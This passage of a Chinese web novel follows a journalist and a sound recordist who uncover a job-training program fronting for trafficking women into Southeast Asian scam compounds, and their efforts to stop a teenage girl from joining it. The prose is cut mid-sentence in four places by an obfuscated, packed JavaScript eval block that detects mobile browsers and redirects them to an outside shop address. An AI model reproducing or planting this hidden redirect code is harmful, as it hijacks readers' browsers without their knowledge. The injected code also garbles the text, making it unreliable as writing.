安静看了一阵子,他终于问:“怎么在喝酒?喝多了?” 黎叙闻眯着眼,冲他晃晃酒瓶里尚存的一半:“这不跟喝水一样,就是应个景。” “口气不小,”齐寻笑道:“怎么,被影姐骂了?” “何止,被影姐骂,被珍妮骂,被质疑身份,被质疑人品,最后还被赶出来了,”她语气倒还轻松,最后却话锋一转:“诶,你为什么告诉珍妮咱俩结婚了?” 她秀气的眉毛都竖起来:“她恨死我了你知不知道?” 齐寻:“……没打算讲,她非要问,问我老婆有没有你这么好,我说没有,她说没有你结个屁的婚。” 他用掌根抵住额头:“实在没办法了才说的。” 这次换黎叙闻住口了。 珍妮好像真的蛮喜欢她,更让她觉得自己是个混蛋。 八月下旬的夜风开始有些凉意,喝酒再吹风,再清醒也带三分醉意。 齐寻忽然被这风吹得酒意上头。 喉头滚了又滚,还是没忍住似地:“是不是觉得丢人?” 问出口就后悔了。 他生怕闻闻反问他“不然呢”。 黎叙闻还算有点良心,皱眉看了他一阵:“说什么呢,我只是不想节外生枝。” 悬着的心在空中荡了一下,终于落地了。 可那一阵醉意让齐寻的思绪不可避免地飘忽起来。 想问她是不是被赶出来伤心了,又想跟她说自己这边有了些进展,还想去牵她的手,吻一吻她的指尖。 太多事情想做了,以至于他一直忘了移开自己的视线。 倒是黎叙闻打破了沉默。 “前几年有个记者拍了张照片,是个饿得快要咽气的孩子,周围停的全是秃鹫,这件事你知道吗?” “……嗯,知道。” “当时那张照片争议很大,外界都在批判那个记者,有时间拍照,为什么没时间救人?”黎叙闻抬头看柳絮似的流云,慢慢说:“那时候我还在读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036476|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 研,有一门课叫《新闻伦理学》,教授就用那张照片做案例。最后他说的那句话,我到现在都记忆深刻。” 隐入云层的月不曾惊扰她的眼睛,黎叙闻目光失焦,好半天才说:“他说,‘有时候,袖手旁观就是记者的慈悲。’” 齐寻喉头猛地一噎,把所有询问情况的问题全部咽了回去。 什么都不必问了。 她话说得轻松,但心里肯定难过委屈,甚至开始质疑自己的选择。 “我不是不懂,”她将侧枕靠在微微开裂的窗框上,轻声说:“我只是想问问他,这个‘有时候’,到底是什么时候?” 入行时她满以为对追求真相是全人类的共同目标,所谓记者,只是其中比较专业的人。 但现在她发现,有那么多人宁愿相信一个谎言,让自己步步迈入深渊,也不愿意清醒面对。 因为真相实在太痛苦了。 她自顾自地:“……我偶像琼斯·埃弗利的自传里有一段,她说在战地很多时候都无能为力,除了拍照就只能离开,记者只是档案,不是神。你说,我是不是也应该……” 她蓦地停下,盯着酒瓶里浮起的那一层泡沫,攀在瓶壁上,正无声地消亡。 她实在不忍心。 珍妮那么小,吃了那么多苦,她会一边骂“猪吗你是”一边把活儿都干了,会在顾客指责她手脚慢时帮她回怼“这叫细致,你懂个屁”,会把她送的裙子小心叠好,有事没事就拿出来看。 黎叙闻笑了下,抬起脚轻轻用脚尖去勾齐寻的手臂:“诶,你说呢?” 下一秒,她脚腕蓦地一热,一只暖得烫人的手环上她的踝骨,然后轻轻地,将她冰凉的脚趾收进自己的心窝。 她就这样猝不及防踩到了他的心口。 脚掌之下,一颗热切的心,正蓬勃地跳动。 这有力的心跳让她骤然红了脸。 云开月霁,齐寻微微仰着头,看她侧颊被月华掸上的一段胭脂,轻声问:“你一开始,为什么要当记者?” 黎叙闻轻声笑,庆幸自己没喝太多,至少没喝到把自己的一切和盘托出的地步。 可齐寻问这个,不是为了要她回答。 因为下一瞬间,他就给出了自己的答案:“我干救援,其实不像外人想的那么无私。” 黎叙闻自上而下,哑然地看着他。 他的心跳攀着她的脚趾、脚踝、小腿,一路电光火石地游过,跟她的心脏一起,响在她身上的每个角落。 环在她踝骨处的手指略微紧了紧,齐寻面色静如深潭。 “我干救援八年,有过很多次这样的抉择,有时候也很难,但我时刻记着,我不是什么救世主,我只是为了满足自己见不得人的初心罢了。” 他面色平静,手却攥得紧:“救一个是一个,救不了就欠新的债,我只做我能做的。等哪天赎不动了,我就再想别的办法。” 黎叙闻错也不错地望着她,鼻尖在细微地发酸、发胀。 她想哭了。 原来他们一直都站在同一片沼泽里,一边挣扎,一边两相对望。 齐寻呼吸深而长,踩在他怀里的脚尖却绷到颤抖。 他伸手握住她的脚趾:“我还是那句话,无论你做什么,我都陪着你。” 黎叙闻心绪翻涌,大脑却出奇的安静。 借着月光,她看清了她从来没有看清过的人。 她抬手蹭了下鼻子,忽然笑了。 齐寻也跟着她笑,手指松开她,动作停顿了一瞬,却克制着没有往上:“那我现在应该掉头回招待所买票,等着明天接你回家,还是趁天没亮,跟你说说我今天的收获?” 黎叙闻在温柔夜风里笑靥如花,冲他一摆头。 “进来!” 66. 第 66 章 齐寻正经丈夫都没当明白呢,先体验了一把翻窗幽会的刺激。 卧室窗子是真矮,他手臂稍微一撑一跃,便跳进卧室,把黎叙闻抱下来放床上。 她倒乖,也不挣扎,只是一推他肩膀:“真的味儿,冲澡去!” “没衣服换。” 黎叙闻朝客厅一努嘴:“外面有晾的,我昨天才洗完。” 齐寻望了一眼:“真有?” “不是你让我挂两件男人衣服,假装家里有男的?” 齐寻笑了:“按我的尺码买的?” 回应他的是空中飞来的抱枕。 …… 草草冲了凉,齐寻一身清爽坐在床边,开始跟她盘今天下午开会时,他莫名其妙的奇遇。 会议就安排在蔡道全公司,也没什么实质性内容,主要就是问进度、表忠心和商业互吹。 问题不在会上,而在齐寻中间出去接电话,不小心听到某间办公室里的对话。 “等等,”黎叙闻打断他:“就那么刚好,你接个电话,就听到了关键对话?” 齐寻苦笑:“我也觉得离谱,但这是真的。” 会开到一半,他手机开始不停震动,却显示陌生号码。 这种电话他一向不接,挂了几回,那边百折不挠,好像真有什么急事,非要现在找到他不可。 齐寻无奈,只好离席,出门接电话。 楼里可能是信号不好,他一直走到走廊尽头的窗边,那边都没有声音,到最后索性嘟嘟嘟响了三声,自动挂断了,再打回去,就提示虚拟号码。 来都来了,他准备透口气再回,于是窗边那间办公室里的一段对话,就钻进了他的耳朵。 要是别人也就罢了,隔着门可能也听不出什么来,可齐寻偏偏是个录音师。 “没赶上开头,大概录了一段,路上稍微处理了下,你听听。” 手机录音不很清楚,黎叙闻凑近了,听见里面传出一个抑扬顿挫的中年男声:“猴子那边来信,说新崽子都收拾干净进笼了,让咱们搞点新皮。” 紧接着是一个女声:“新皮多了那边来得及培训吗,笨得跟猪一样,几句词背不下来……” “哎呀黄经理安啦,”第一个男声安慰道:“总有去处的啦,能上皮就盘,上不了皮就转手,猴子那边场子多,按摩店啦白粉啦医院啦,转个几手总有得赚。” “黄经理”不忿道:“我都跟蔡总说,上皮还得练口条,凯子现在又挑又精,不如咱们直接转去下游。” “快别提!现在风声这么紧的哦,”男人说:“看了新广告没有?这么多张皮,总能钓到鱼的啦。” 对话就到这里戛然而止了。 黎叙闻听完,感觉从手指到脑子,全部都木了。 跟过拐卖儿童的案子,对行内黑话如数家珍。如果结合他们现在的发现和猜测,将对话全部换成她所知道的词,那么…… “猴子”指的大概是东南亚,“皮”像是某种身份面具,“场子”是各种其他生意,代入缅北这个环境,卖什么都有可能,而“凯子”,说的应该就是这整个产业链针对的客户。 如果把这些全部连起来…… “她计划”并不是什么惠及底层女性的职业培训公司,而是以此为幌子,给东南亚电诈园区输送“杀猪盘”操盘手、与境外势力勾结、拐卖底层女性的犯罪团伙! 珍妮口中一直想成为的“情商高、会说话”的人,原来就是,就是…… 黎叙闻把这个猜想对齐寻说了,两人一时沉默下来。 卧室顶灯已经老旧,灯泡里积了碳灰,给灯光裹了层磨砂玻璃。 影影绰绰照在人脸上,将无声的恐惧又放大了三分。 黎叙闻往齐寻身边又靠了靠,问:“那会议之后的聚餐呢?还有没有什么信息?” 齐寻回想了一阵子:“没什么特别的,但如果非要说的话,那个蔡道全,非常的……” 他踟蹰了一瞬,道:“讨人喜欢。” 黎叙闻愣了片刻,了然了。 世界上有一种人,总让人觉得如沐春风,无论是谁,在他面前似乎都能得到理解和尊重。 然而蔡道全这副皮囊底下,裹的却是黑心烂肚肠。 昏暗的光在墙上投下粘稠的淡影,裹挟着这个凉意漫漫的惊惧,慢慢爬上两人的肩膀。 黎叙闻定了定神,强迫自己冷静下来:“难怪他们这么光明正大,这东西根本不能作为证据。而且蔡道全公众形象这么好,就我们手里这点东西,根本撬不动他分毫。” 卧室的灯泡此时轻轻一闪了,发出低哑的嘶嘶声。 黎叙闻低着头,视线扫过那一沓所谓的“证据”——零散、脆弱、站不住脚,像堆拼凑出来的纸牌,轻轻一碰就会散架。 殚精竭虑,抽丝剥茧,可最后摊开手,发现他们能握住的,仍只有他们自己。 黎叙闻慢慢握紧手指,像抓住了什么看不见的线。 “齐寻,我要救她。” 这四个字在第二天一早就折了戟。 宣传片拍摄还在继续,今天换了景,齐寻跟着摄制组,带影姐去了郊区外景,理发店里只有珍妮一个人留守。 这对黎叙闻来说是个好机会,珍妮毕竟年纪小耳根软,总比影姐好劝些。 结果她连门都没能进去——理发店后门竟然连夜换了锁! 黎叙闻绕到前门,见珍妮一个人忙着收拾卫生,眼睛都不抬。 好,坚壁清野是吧? 黎叙闻忽然后撤一步,被她挡住的天光蓦地重新照亮狭小的理发店。 珍妮本能地皱眉抬头,不料却见门口的人嘴角噙着个明艳的笑,对她做了个“让让”的手势。 珍妮不明所以,脚下却鬼使神差地向旁边挪了一步。 下一秒,她就见黎叙闻抄起门口的马扎,抡圆了胳膊,一下子将玻璃门砸了个粉碎! 珍妮尖叫一声,只来得及本能地护住头,四散飞溅的碎玻璃渣擦着身侧流星似地划过。 等她再抬头,门口的人已经笑盈盈地踢掉门框上的玻璃渣,迈腿进来了! 珍妮气得手直哆嗦,指着她大骂:“狗玩意你干啥!影姐回来我们都要死了你知道不!我,我要找人告你!” “好啊,”黎叙闻一耸肩:“报警电话是110” 她微笑道:“等警察来了,我会告诉他们,你在房间里烧炭自杀,我路过看见才打碎玻璃救你的——是不是真的都不要紧,等影姐回来,整个柳北应该都知道了,你猜她还会不会答应送你去打工?” 这招釜底抽薪过于不要脸,不到万不得已,她也不想用。 可现在就是万不得已。 两句话就逼得珍妮脸颊胀红,她双眼血红一片,死死盯着对面。 对面的女人背后是灼烈天光,她一头乌发披在肩上,阳光透过发丝被挤成薄刃,插在满地玻璃渣上,又跃上她冷漠的脸。 像来取人性命的艳色修罗。 珍妮中二病压不过恐惧,带着哭腔喊:“又要来骗我!我告诉你我是不会……” 一声涩耳的金属摩擦声打断她的控诉。 她抹掉眼泪,眼看着黎叙闻一言不发转过身,也不管自己手臂上被玻璃碎屑拉出的细小血口,直接探手拉下卷帘门。 室内顿时一片昏暗,只剩阁楼上透出的一点点光亮。 黎叙闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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珍妮依旧哭得不依不饶,嘴里咿咿呀呀不知道在说什么。 黎叙闻凝神一听,她在嚎:“我那么信你,你让我当小三!我杀了你!” 黎叙闻:………… 好了,现在到下半场了。 她顺手捞了条毛巾过来,拿出夜托班给小娃娃擦脸的本事,在珍妮脸上糊拉了一把:“当时我只是觉得让他自己跟你说会好点,没想到会变成这样,真的对不起。” “说来说去,你们都觉得我配不上!”珍妮索性扭头开始生闷气。 至于被关起来了怎么去打工,她一团孩子心性,倒像是忘了。 黎叙闻坐到她身边,用膝盖去碰她的:“诶,你猜猜,如果我是你,我现在在干嘛?” 珍妮缩起腿不让她碰。 黎叙闻干笑着继续说:“我要是像你一样被卖给杀猪的,现在肯定被锁在猪圈里,一个接一个生孩子。” 这句话她声无波澜地说出来,在封闭的理发店,伴着水龙头关不紧的淅沥水声,却显得尤其恐怖。 珍妮猛地扭过头,惊诧地盯着她瞧。 “是我我可能早认命了,但你没有,所以我觉得你配得上最好的东西。”黎叙闻低着头,看她张了嘴的运动鞋:“你好不容易才出来,更不该在某个地方默默烂掉——这也是我不让你去那个所谓‘好工作’的原因。” 珍妮瞪着眼睛听完,张了张嘴,手指去抠沙发边缘破损处露出的海绵。 黎叙闻也就接着说下去,一点一点告诉她自己是怎么发现这些的。 说了很久,直到某次停顿处,她也慢慢地睡了过去。 这一觉她睡得极沉,再醒来已是晚上七点多。 等回过神来,黎叙闻猛然意识到,理发店里只有她一个人了。 她不可置信地去摸口袋,发现珍妮的手机和钥匙都还在,抬头一看,影姐放现金零钱的抽屉抽开了一半,里面空空如也。 小兔崽子,竟然跟她玩声东击西,把她哄睡着,爬阁楼的天窗逃了! 67. 第 67 章 田间的傍晚,比县城要清净许多。 剧组工作人员一个个坐在田埂上,手里捧着盒饭,优哉游哉唠家常。 这一切都得拜齐寻所赐。 上午他拧着眉检查了半天,最后说是动圈坏了,折腾了一圈买来,还得等齐寻亲自修好,才能开拍。 也没人有意见,毕竟齐老师的录音机可是金卷轴开过光的,谁敢说一句“换个新的”? 书影捧着自带的干粮,坐得远远的,字面意义上地坐立难安。 来不及了,真的来不及了。 一整天了,她屡次暗示齐寻,他一句话都没跟她说过。 她把手上的馒头捏得稀碎。 以往那些黑西装来接人,她是不去的,去了也没用。 因为那些姑娘走的时候再千恩万谢,走了之后也不会再跟她联络,偶尔打电话也是敷衍。 但这次不同,这次是珍妮,是她养了两年多的珍妮。 那孩子来的时候才14岁,小胳膊细得像树杈,梗着脖子非说自己18了,自己什么都能做,让她答应自己在她发廊里出台。 事实证明,她根本连“出台”是什么意思都不知道。 书影点了头,转身就把她身份证扣了。 狗崽子不好养,整天跟她对骂,气得她心脏疼,转身又来甜甜地跟她撒娇,说想吃鸡爪。 书影时常想,要是她女儿还活着,可能也是这个样子吧。 她搓了搓手站起来,慢慢走到齐寻前面:“小伙,还要多久,晚上能拍完吗?” 齐寻没抬头看她,闷声道:“拍摄要天光,晚上修好了也没用,得等明早。” 明早?明早开始拍,那她还能见得着珍妮吗? “珍妮明天要走了,我得送她。”书影蹲在他身边,语气焦灼:“你给说句话,回去我就给小黎道歉呢,行不行?” 齐寻拿起某个零件吹了吹灰:“不必了,回去我就带她回京屿。” 书影一下子不说话了。 “回、回去啦?”她结巴起来,后半句却脱口而出:“不是要做毕业论文吗怎么就回去啦?” 话出口才想起来,什么毕业论文,都是黎叙闻唬她的,又闭了嘴,嗫嚅着低下头。 “怎么,没骂痛快?”齐寻笑了一下:“记者被骂就不难过,她就没有心?”他坐直身子,脸上还是笑着,却生出一种疏离:“不识好歹的人她渡不了,这么难理解?” 这句话难讲是因为情节需要还是他自己想说,因为说完这句,齐寻整个人都松快了。 书影低着头,目光发愣。 这一个一个的,怎么都要走了。 但舍不得归舍不得,她绝对不能接受黎叙闻所说的那个真相。 她嗤笑了一声:“屁大的人就帮这个帮那个。” 齐寻有很长时间都没有答话,只是聚精会神地忙着修东西。 但仔细看,会发现他肩线的起伏更深、更慢了。 握着录音机的手指收紧又松开,他淡声道:“你看过她的报道吗?” 书影往壮实的玉米杆子旁缩了缩,没吭声。 她看了,前脚把黎叙闻扫地出门,后脚她就偷偷搜来看了。可就是因为看过,她才尤其不愿意承认。 要是黎叙闻说的那些是真相,那她这辈子,都在干什么? 如果那是真相,那这么多年,她是不是信错了人,把吃人不吐骨头的魔鬼当成救世主,把她精挑细选的柳北姑娘,一个一个地往火坑里推? 这不可能是真的。 “我不信你心里没嘀咕。”齐寻把录音机的盖子合上,一点一点扭螺丝:“你要觉得你自己比新闻学硕士聪明,那你就信。” 书影的脸在月光投下的影绰里蓦地扭曲了一瞬。 她怎么可能没嘀咕。 再蠢的人,用小半辈子来琢磨一件事,怎么都会有点心得了,她只是不敢细看自己的猜想。 万一…… 万一那些都是真的……万一珍妮真的死了呢? 那个从小顶着“赔钱货”这个小名、从凶煞的屠户家里逃出来的小女孩,如果真的因为她,死在某条臭水沟里呢? 不会的,不可能—— “去老乡家里休息吧,”齐寻见药下得差不多,一锤定音:“等明天回柳北,什么都安生了。” 黎叙闻几乎用脚把小小的柳北县犁了个遍,觉得自己真要疯了。 再跟这种叛逆青少年打交道,她就是狗! 满以为珍妮会躲在哪个犄角旮旯搞她心态,没想到她竟在步行街的烧烤摊前,看到了珍妮探头探脑、后脑勺都在流口水的背影。 黎叙闻几乎愣住,转念一想,应该是自己“委屈你跟我在这蹲两天,出去请你吃烧烤”这句话,勾出了这小家伙的馋虫。 ……真是高估她了。 黎叙闻不动声色走上去,用脚勾了个塑料凳子坐在桌前:“老板,五串牛肉五串鸡心,两个馍片,再来个茄子。” 火滋火燎的烟尘中,珍妮听见她声音,猛地回头,拔脚又要跑,黎叙闻却朝对面一抬下巴:“吃不吃?吃就坐下。” 珍妮杵在原地,脸上多姿多彩的,最后撇开脸没出息道:“这么点东西,两个人够吃吗?” “你点,随便点,”黎叙闻忍俊不禁,指着油腻腻的菜单挂牌:“我请。” ……这是黎叙闻第一次知道,一千八百线小县城的烧烤,两个人不喝酒的女人竟然能吃将近四百块。 印花花的塑料桌面堆满了浅口盘,洒满调味料的食物各显神通,焦香鲜辣,油滋的气味厚重勾人。 珍妮把脸埋在这一众香得令人发指的烧烤里,吃得狼吞虎咽。 黎叙闻拿了个生蚝放在她面前:“你饿死鬼托生的?来了两年多,没吃过烧烤?” 费了大劲儿把嗓子眼的东西咽进去,珍妮才道:“影姐怕我又跑了,一分钱都不给我,我连瓶汽水都没得喝,还烧烤……” 她舔了下唇边的辣椒:“看在这四百块钱的份上,你要说啥,我听着,不犟嘴了。” 黎叙闻莫名:“我要说什么?” “你不是说那个工作是骗人的,叫我别去,”珍妮无所谓道:“继续说啊。” “你不也没听么,”黎叙闻眼皮也不抬:“反正这辈子也见不到了,多余管你。” 珍妮终于从一堆烤串中抬起头来。 啥意思啊?不管她了? 她听不听是她的事,但这女人是怎么搞的,怎么能不管了呢? 想想还是不甘心,便问:“我要真被人骗了,去给人当奴隶咋办?” “能咋办?受着呗。尊重他人命运。” “说不定还会让人关起来,饭都不给吃。” “你现在不也差不多。” “……那要是我被卖到山沟沟里,锁在猪圈里生娃咋办?” “你那么能跑,再跑嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045682|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 珍妮忽然一摔手里的串,大喊一声:“黎叙闻!” “哎,在呢,”黎叙闻慢悠悠应了:“叫你奶奶做什么?” 珍妮睁大眼睛瞪着她,在旁边摊子追过来的呛人烟气中一扁嘴,好像要哭了。 黎叙闻轻描淡写:“管你干什么,你甚至不愿意叫我一声闻姐。” “鬼才喊你!”珍妮把面前的竹签一推,气得气喘吁吁:“装货!” 这一声惊动了周围的食客,纷纷投过目光来,大部分一触即离。 而有几道逡巡已久的,却趁机沾在黎叙闻身上,来回剐了几遍,仍不离去。 黎叙闻懒得搭理,低头喝了口水,没吭声。 那几个小流氓在一边盯她们这桌很久,终于瞅到个空档晃过来,吹了声口哨:“哟小姐姐,点这么多吃得完吗?跟哥哥们来拼个桌啊。” 黎叙闻吃了口玉米,眼皮都不掀:“滚。” “来蹭吃蹭喝?”珍妮啐他一口:“呸,不要脸。” 几个小流氓哄笑:“这不那谁家那小谁吗,咋,还没落着坐.台?哥几个前些天去快活,也没见着你啊。” 黎叙闻看他们一眼,扔了个肉串在地上,打发狗一样:“拿着吃,滚。” 几个细狗还自不量力,要不是顾着珍妮,她早动手了。 “妞儿挺烈哈,”后面的某个蹭了把鼻子,腆着脸伸手过来:“我摸摸,这么烈的妞是硬的还是软——啊!” 一句调戏终结在惨烈的叫声中,那混混低头一看,一根竹签不偏不倚扎在他手背上,戳得极深,伤口正往出汩汩冒血! 黎叙闻还是淡淡的:“你先摸摸你卵子是硬的还是软的吧。” 其余的几个见兄弟吃了亏,一个个脖颈青筋暴起,嘴里飙着所有带女性生殖器的脏话,就向她扑了过来。 眼看今天是不能善了了,黎叙闻扭过头,想叮嘱珍妮先回家。 转眼却见这小崽子顺手从隔壁桌抄起一个空酒瓶,挥手砸在桌边,酒瓶啪地一声应声而碎,露出锋利的边缘。 珍妮瞬间窜到她的身前,单薄的身体狠狠绷起来,像一只蓄势待发的小狼,手里紧握着半个碎酒瓶,对几个小流氓怒吼:“你们碰她一指头我看看!” 那几个男的真让她一嗓子给镇住了。 珍妮背后那两片几乎要刺破衣服而出的肩胛骨,颤抖着刺进黎叙闻眼里。 她吼得几乎破音:“听不见吗!滚!都滚!” 其中一个身量稍高的黄毛被她吼得哈哈大笑,握住她细痩的手腕往旁边一扭,珍妮吃痛大叫一声,却仍死死握着酒瓶,扭身对黎叙闻喊:“装货你傻了吗!还不赶紧跑!” “不都说婊.子无情吗,我看你——” 黎叙闻再听不下去。 不等那黄毛再放屁,沉着脸拨开珍妮,一把揪住他头上那撮翘着的黄毛,眼都不眨地将他的脑袋狠狠向桌上的不锈钢盘子掼去。 黄毛还未意识到发生了什么,只看见闪着银光的桌面疾速向自己的额头拍来! 下一秒咣当一声,当头传来的晕眩和剧痛几乎让他瞎了。 他嗷一声惨呼,不得不松开珍妮,捂着头弯腰跪在地上痛号。 耳边尽是金属震动的嗡嗡声,脑瓜子跟裂开一样疼。 有一线细细的暗红从他指缝里渗出来。 黎叙闻面无表情地垂着眼睛,一脚踩上他的肩膀:“说谢谢了吗?” 68. 第 68 章 理发店仍是一地狼藉,小小废墟在苍白日光灯下,闪着人造的光芒。 黎叙闻一边给珍妮清理小臂上的划伤,一边想,今天她俩怎么就跟玻璃碴子干上了? 想着想着就笑出了声。 珍妮从回来就一直绷着脸,这时不服气地问:“你笑什么!” “笑你小小个人,还知道替别人出头了。”黎叙闻用碘酒轻轻擦拭伤处:“有大人在呢,你个小孩逞什么强。” 珍妮眼角抽抽一下:“你懂个屁,我这是在替你男人保护你。” “哦,那行,”黎叙闻忍笑道:“等他回来让他谢你,我就不谢你了。” 像是没料到她这样理所当然,珍妮哑然了半天,才又说:“你跟我在网上看的大学生都不一样,还会打架。” “打架跟大学生没关系,”黎叙闻吹了吹她的伤口:“多吃肉就能打。” 珍妮被这口凉风吹得瑟缩了一下。 她转过头,看见理发台的镜子里,映出两个人的身影。 这女人应该不知道,她不开口的时候,真的很漂亮。 默默抬头看了很久嘶啦作响的灯管,珍妮忽然说:“我知道你没骗我。” 黎叙闻收起碘酒和棉签,坐着没动。 “我也知道你是好人,”她说:“但是你和影姐,我只能选一个。” “你说她们是骗人的,但影姐说他们是好人,给我们钱、给我们上课、给我们看病。那你说影姐是好人吗?她要是好人,又咋会犯错呢?” 黎叙闻张口正要说教,却又觉得老虎吃天无从下口。 珍妮缺的也不是现在这一句两句大道理,她缺的是人生经历,和系统教育下的是非观。 “那你怎么才能选我?”黎叙闻问。 珍妮挑着稀疏的眉毛笑了:“咋,你要跟影姐打擂台?” 笑了一阵,她又真的去想:“你要是救我一命,我大概会选你吧,但现在我还是选影姐。” “你说的要是真的,影姐在这肯定也待不下去了。”珍妮道:“我要去给她看看,到底啥是真的。要是你说得对,我就跑出来,然后带着她跑路;要是你猜错了,我就还在那挣钱,挣很多钱,给你们买肉吃。” 黎叙闻看着她坦荡明亮的眼睛。 话说到这一步,其实她也知道,再劝什么都没用了。 但她仍不甘心。 她收起医药箱,默了默还是忍不住:“他们的手段你根本想象不到,跑回来?到时候方圆几十里都是摄像头,连棵藏身的树都没有,你怎么跑?” 珍妮眼睛紧紧闭起来,又用手挡住眼睛,没说话。 过了很长时间,她才慢慢地说:“你说你要是我,你就被锁在猪圈里生崽子了。其实我也是。” “我不听话嘛,那狗日的就把我关起来,我要跑,他就给我锁在猪圈里。”她语速很快:“那圈又高又阔,还带锁,你知道我是咋跑的吗? ”她嘴角咧开一个弧度:“那狗日的喝多了,进来要干我,我把他绊倒,手脚绑起来扔进猪堆里——你们城里人肯定不知道,猪是会吃人的。” 她平铺直叙地,像在说一个猎奇的故事。 黎叙闻却听得脊骨窜起一阵凉飕飕的风。 “所以你担心啥?”她终于把盖在脸上的手拿下来:“我能跑。” 黎叙闻坐在她身边,木然地看了她许久,忽然低下了脸。 她根本无法抬头。 就好像铆锁的冰凉捆着的是她的脖颈,牲畜啃食秸秆的声音就响在她身边。 多傲慢啊,她想,我竟然觉得她什么都不懂,我竟然觉得我可以救她。 “到时候我也给你打视频,”珍妮翘起脚,显得很轻松:“你那裙子,我买十条八条,随你挑。” 黎叙闻看着她眼里的一团阴影,也笑:“好,那我等着。” 第二天书影赶回来,已是中午。 她一到门口就直奔内里:“珍妮,珍妮?” 她喊这个名字时,末尾有很浅的儿化音,像在叫家里的小妮子。 珍妮已经整装待发背着双肩包从沙发上站起来:“哎。” 她穿着黎叙闻送的那条长裙,干瘦的身体根本撑不起衣襟,却莫名显得端庄。 书影上前拉珍妮的胳膊,把她胸前布料往上扯了扯,低声道:“妮儿,咱们这次要么不去了,我觉着……” 珍妮挡开她的手:“干啥,你又后悔啦?” 书影定定地看着她的脸。 午后阳光透过玻璃,印了一片汹涌海浪般的光影在她脸上,那总也不服不忿的笑容竟看不分明了。 开口的时机转瞬即逝,门口忽而响起由远及近的脚步声。 紧接着一个男人敲响了门:“珍妮,是吧?我是‘她计划’负责人,谭志群。” 他穿着笔挺的西装,头发打理得一丝不苟,在这个小理发店像走错了片场似的。 完美符合柳北每个人对“精英”的定义。 他看了眼手机:“时间差不多了哈,要不我们就出发了?” 珍妮像刚学会飞的雏鸟一样,裙角在空中划了一个欢快的弧线,跟着这个根本不认识的人走到门口,回头对书影挥手:“影姐,我走了啊,到了给你打电话,等我赚了钱,给你买肉吃!” 书影亦步亦趋跟出来,张了张嘴,什么都没说出来,蓦地劈手拉住珍妮的手臂:“妮儿,我们不去了。” 珍妮和谭志群俱是一震,而后面面相觑。 书影却异常坚决:“她还小,我不太放心,这次就算了吧,改明儿个我再挑个别人,再给你打电话。” 谭志群怔愣地听完,嗤笑一声,朗声道:“影姐,这次的岗位是上面给她特批的,名字都已经登上去了。这次要不去,那以后柳北的人选,我们就……” 书影脸上表情变了几变。 可是万一…… 万一蔡总确实是好人呢? 那她这么一闹,不但闹没了珍妮的前途,以后柳北的这些姑娘,可怎么办呢? 她不太够用的脑子思索再三,最后还是慢慢地,放开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050356|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了珍妮的手。 谭志群又道:“她的证件呢?一起给我吧。” 书影在裤子口袋里摸索了半天,拿出一张身份证。 看了几秒,最后还是交给谭志群:“老板,我家娃娃聪明的,就是皮,你们有啥话,跟她好好说,别打她哦。” 谭志群笑道:“我们是正经工作,又不是什么□□,你放心。” 书影一叠声地“哎”之后,实在想不出什么话可以叮嘱了。 午后日头毒辣,晒得每条影子都缩了水。 谭志群不愿再逗留,揩一把额头的汗,便带着珍妮走了。 珍妮穿着不合身的裙子,背着瘪瘪的双肩包,倒退着挥舞着双手:“影姐!拜拜!拜拜!” 书影一个人站在门口,嘴角不受控制地撇了好几下。 看着珍妮黑色的裙角消失在巷口,她才抬手抹了一把眼睛。 而另外一个本该早早出现、再最后闹一通的人,现在才珊珊来迟。 黎叙闻拖着行李箱,慢吞吞从巷尾绕过来,停在理发店门口。 书影慢半拍地抬头看她:“你也走了?” 黎叙闻点了下头,抛给她一串钥匙:“房间我打扫好了。” 书影手里揉捏着钥匙:“……还没到一个月,现在走就亏了。” “剩下的房租和押金我都不要了,算我瞒着你的道歉。” 说着她拉着箱子,面不改色地路过书影,根本没有留恋似的。 书影愣了两秒,探出一步,冲着她背影喊:“小黎,一路平安!” 黎叙闻眉心波澜乍起,却撑住了身体,忍着没有回头。 行李箱轮子轧在龟裂凹凸的地面,倍速唱着一首离别的歌。 她快步行至巷口,正要拐弯,却碰到了一个意想不到的人。 吴檀还是穿着她精致的、裹到手腕的套装,站在灰头土脸的巷子口,跟被P上去的一样格格不入。 见黎叙闻过来,她抬头一笑:“黎记者,回去了?” 黎叙闻在柳北最厌恶的,就数她这句“黎记者”。 这算什么?已经完全不避讳他们跟“她计划”沆瀣一气,竟然敢同时出现? 欺负她不在自己主场? 黎叙闻神色淡淡:“嗯,还有别的工作。” 